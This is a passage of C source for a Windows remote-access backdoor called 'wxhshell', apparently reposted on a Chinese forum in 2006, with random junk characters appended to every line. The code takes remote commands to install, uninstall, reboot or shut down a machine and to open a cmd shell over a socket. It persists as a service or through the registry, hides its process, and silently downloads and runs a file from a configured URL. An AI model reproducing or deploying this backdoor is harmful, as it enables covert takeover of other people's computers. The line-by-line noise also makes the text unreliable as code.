      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M8",t{7  
    break; 8NAWA3^B  
  } bUAR<R'E  
  // 安装 ?;r8SowZ7  
  case 'i': { X.T\=dm%v  
    if(Install()) =6Kv`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %M;_(jda  
    else rMXOwkE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /!{A=N  
    break; +Sdx8 Z5  
    } vA "`0  
  // 卸载 #EQx  
  case 'r': { 4Fr7jD,#k  
    if(Uninstall())  $`XN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FG;<`4mY  
    else B=Zukg1G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hV>4D&<  
    break; @cS1w'=  
    } sx-Hw4.a"  
  // 显示 wxhshell 所在路径 XEUa  
  case 'p': { z"s%#/#  
    char svExeFile[MAX_PATH]; 7S dV%"  
    strcpy(svExeFile,"\n\r"); vzohq1r5  
      strcat(svExeFile,ExeFile); &` 00/p  
        send(wsh,svExeFile,strlen(svExeFile),0); &8X .!r`f  
    break; n$OE~YwP{  
    } hk5E=t~&  
  // 重启 O'!r]0Q  
  case 'b': { _r<zSH%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _,Rsl$Tk'  
    if(Boot(REBOOT)) -e`oW.+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IB#iJ# ,  
    else { bU:}ZO^S  
    closesocket(wsh); 2Pem%HE~P  
    ExitThread(0); <>T&ab@dE(  
    } =;k+g?.@I  
    break; ni"$[8U  
    } tkdBlG]!  
  // 关机 k binf  
  case 'd': { :p\(y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /+x#V!zM  
    if(Boot(SHUTDOWN)) wzDk{4U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c+Q.?vJ  
    else { t4jd KYA  
    closesocket(wsh); j5,^9'  
    ExitThread(0); dK J@{d  
    } KTLbqSS\  
    break; l?o-!M{  
    } !Ig|m+  
  // 获取shell ##EB; Y  
  case 's': { /slm ]'  
    CmdShell(wsh); *gM,x4Y  
    closesocket(wsh); $KwI}>E4  
    ExitThread(0); JGk3 b=K  
    break; f.aB?\"f6  
  } ?u_gXz;A  
  // 退出 #K :-Bys5v  
  case 'x': { $S6HZG:N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }XGMa?WR  
    CloseIt(wsh); Z{,GZT  
    break; 3wN?|N  
    } 0|fb< "  
  // 离开 n) _dH/"  
  case 'q': { ;t;Y.*&=S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? fbgU  
    closesocket(wsh); VxkCK02k  
    WSACleanup(); ZR;8r Z](  
    exit(1); M#\  <  
    break; E[|s>Xv~  
        } %]a @A8o0  
  } hzT{3YtY2  
  } nabBU4;h  
99l>CYXd  
  // 提示信息 /~3N@J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pl rkgS0J  
} F`Dg*O  
  } ]^J+-c  
v`#j  
  return; ,:#,}w_HyO  
} !US8aT  
c;:">NR  
// shell模块句柄 \)OZUch  
int CmdShell(SOCKET sock) u*t,i`  
{ /9x{^  
STARTUPINFO si; g$*/ XSr(  
ZeroMemory(&si,sizeof(si)); fm(mO%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @4IW=V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g>2aIun_Q  
PROCESS_INFORMATION ProcessInfo;  0dgP  
char cmdline[]="cmd"; b]!9eV$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G(U9rJ9  
  return 0; lLb:f6N  
} v! 7s M  
_GVE^yW~z  
// 自身启动模式 U@Z>/ q  
int StartFromService(void) nNt*} k  
{ X+=-f^)&  
typedef struct o&(wg(Rv  
{ 8YuJ8KC  
  DWORD ExitStatus; -PNi^ K_  
  DWORD PebBaseAddress; )y9;OA  
  DWORD AffinityMask; Y/. AUN Z  
  DWORD BasePriority; NH7`5mF$  
  ULONG UniqueProcessId; A /q2g7My  
  ULONG InheritedFromUniqueProcessId; ifXW  
}   PROCESS_BASIC_INFORMATION;  !M  
Ye9Y^+-  
PROCNTQSIP NtQueryInformationProcess; x(L(l=^"  
, N53Iic  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &4,WG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |u@+`4o  
:.*HQt9N  
  HANDLE             hProcess; \7pipde  
  PROCESS_BASIC_INFORMATION pbi; ~9Z h,p ;  
9ky7r;?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !Eq#[Gs  
  if(NULL == hInst ) return 0; <d5@CA+M  
o^3FL||P#r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >(X #<`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H2_/,n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0,HqE='w  
 %BUEX  
  if (!NtQueryInformationProcess) return 0; 4-mVB wq  
3Jk[/ .h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H&M1>JtE  
  if(!hProcess) return 0; |xn#\epy@  
G6ayMw]OF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m#tpbFAsc  
{P-xCmZ~Wt  
  CloseHandle(hProcess); GL1'Zo  
JPEIT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3KSpB;HX  
if(hProcess==NULL) return 0; B$rTwR"(-  
&5?G-mn  
HMODULE hMod; PgMbMH  
char procName[255]; z~,mRgc$B  
unsigned long cbNeeded; $9 K(F~/  
v:E;^$6Vn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]*qU+&  
/ s,tY74'5  
  CloseHandle(hProcess); NmJ`?-Z  
._?V%/  
if(strstr(procName,"services")) return 1; // 以服务启动 %SAw;ZtQ:  
IV'p~t  
  return 0; // 注册表启动 c!It ^*  
} YTK^ijmU6x  
MaO"#{i  
// 主模块 gH[,Xx?BN!  
int StartWxhshell(LPSTR lpCmdLine) &)n_]R#)  
{ \R(R9cry  
  SOCKET wsl; w/W7N   
BOOL val=TRUE; \<~}o I  
  int port=0; )0^ >#k  
  struct sockaddr_in door; i31<].|kA*  
8-m 3e  
  if(wscfg.ws_autoins) Install();  FZ F @  
ef=K_, _  
port=atoi(lpCmdLine); <:&de8bT  
>{C\H.N  
if(port<=0) port=wscfg.ws_port; t6+YXjXK  
B:< ]Hl$  
  WSADATA data; y` yZ R _  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kbYeV_OwM  
44\cI]!{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /`[!_4i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LvcuZZ`1a  
  door.sin_family = AF_INET; P ZxFZvE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F30 ]  
  door.sin_port = htons(port);  W^Y#pn  
mk!Dozb/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lT'9u,6   
closesocket(wsl); |Y},V_@d  
return 1; 5{K}?*3hJ  
} *FK`&(B+}  
0w %[  
  if(listen(wsl,2) == INVALID_SOCKET) { j(eFoZz,  
closesocket(wsl); DVlJ*A  
return 1; &fwS{n;U  
} glE^t6)  
  Wxhshell(wsl); er2cQS7R  
  WSACleanup(); x&Cp> +i  
; Y"N6%  
return 0; N>|XS ,  
(u hd "  
} <P_ea/5:|  
~=En +J}*  
// 以NT服务方式启动 bl;zR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  Ow:1?Z{4  
{ `]=oo%(h  
DWORD   status = 0; vi!YN|}\  
  DWORD   specificError = 0xfffffff; C$d>_ r  
t{dSX?<nt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AQss4[\Dx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; } fZ`IOf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h5"Ov,K3[  
  serviceStatus.dwWin32ExitCode     = 0; ibpzeuUl  
  serviceStatus.dwServiceSpecificExitCode = 0; Pf <[|yu4?  
  serviceStatus.dwCheckPoint       = 0; oH#v6{y  
  serviceStatus.dwWaitHint       = 0; Pm+tQ  
RO&H5m r%@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ B/9{0n'  
  if (hServiceStatusHandle==0) return; 3QXjD/h  
[q*%U4qGO  
status = GetLastError(); JWv{=_2w  
  if (status!=NO_ERROR) J~#$J&iKh  
{ R"AUSO|{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 52d^K0STC  
    serviceStatus.dwCheckPoint       = 0; C [uOReo  
    serviceStatus.dwWaitHint       = 0; kW@,$_cK  
    serviceStatus.dwWin32ExitCode     = status; w%y\dIeI'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?F7o!B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C/=XuKE-t  
    return; +G F#?X0^  
  } +Qxu$#  
71fk.16  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m ee$"Y  
  serviceStatus.dwCheckPoint       = 0; l|/LQ/  
  serviceStatus.dwWaitHint       = 0; - nbMTY}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Km#pX1]>e  
} 4)6xU4eBaL  
_[K"gu  
// 处理NT服务事件,比如:启动、停止 Dg HaOAdU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3;[DJ5  
{ A"v{~  
switch(fdwControl) MZ> 6o5K|  
{ FLZWZ;  
case SERVICE_CONTROL_STOP: S4CbyXW  
  serviceStatus.dwWin32ExitCode = 0; $((6=39s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tV;`fV   
  serviceStatus.dwCheckPoint   = 0; CZ<~3bEF  
  serviceStatus.dwWaitHint     = 0; uI~S=;o  
  { px;/8c-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U]|agz>  
  } E.`U`L  
  return; qZv =  
case SERVICE_CONTROL_PAUSE: 9BEFr/.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '8Ztj  
  break; (ll*OVL  
case SERVICE_CONTROL_CONTINUE: b5G}3)'w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fvq,,@23  
  break; 8~lIe:F-  
case SERVICE_CONTROL_INTERROGATE: >EsziRm  
  break; N2'qpxOLI  
}; nl aM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +!IQj0&'Y3  
} i':i_kU  
/iC;%r1L  
// 标准应用程序主函数 +  @9.$6N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2& PPz}Sw  
{ ?~"bR%  
rl#vE's6.e  
// 获取操作系统版本 oX@ya3!Pz  
OsIsNt=GetOsVer(); {`=0 |oP}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ._w8J"E5  
K;hh&sTB  
  // 从命令行安装 "xmP6=1  
  if(strpbrk(lpCmdLine,"iI")) Install(); .d;Iht,[  
B vo5-P6XY  
  // 下载执行文件 )n49lr6 X  
if(wscfg.ws_downexe) { RO;Bl:x4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2~[@_  
  WinExec(wscfg.ws_filenam,SW_HIDE); I:bD~F b3  
} -oeL{9;  
;8WZx  
if(!OsIsNt) { E!BPE>  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jj~EiA  
HideProc(); wbDM5%  
StartWxhshell(lpCmdLine); Z=B_Ty  
} 4(}J.-B  
else J:uW`R  
  if(StartFromService()) ?Xdak|?i  
  // 以服务方式启动 WwH+E]^e+  
  StartServiceCtrlDispatcher(DispatchTable); Uoya3#4 G  
else |(m oWY=  
  // 普通方式启动 09A X-JP  
  StartWxhshell(lpCmdLine); %75xr9yOP  
73{'k K  
return 0; `l2O?U-@  
}
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只看该作者 1 发表于: 2006-10-10
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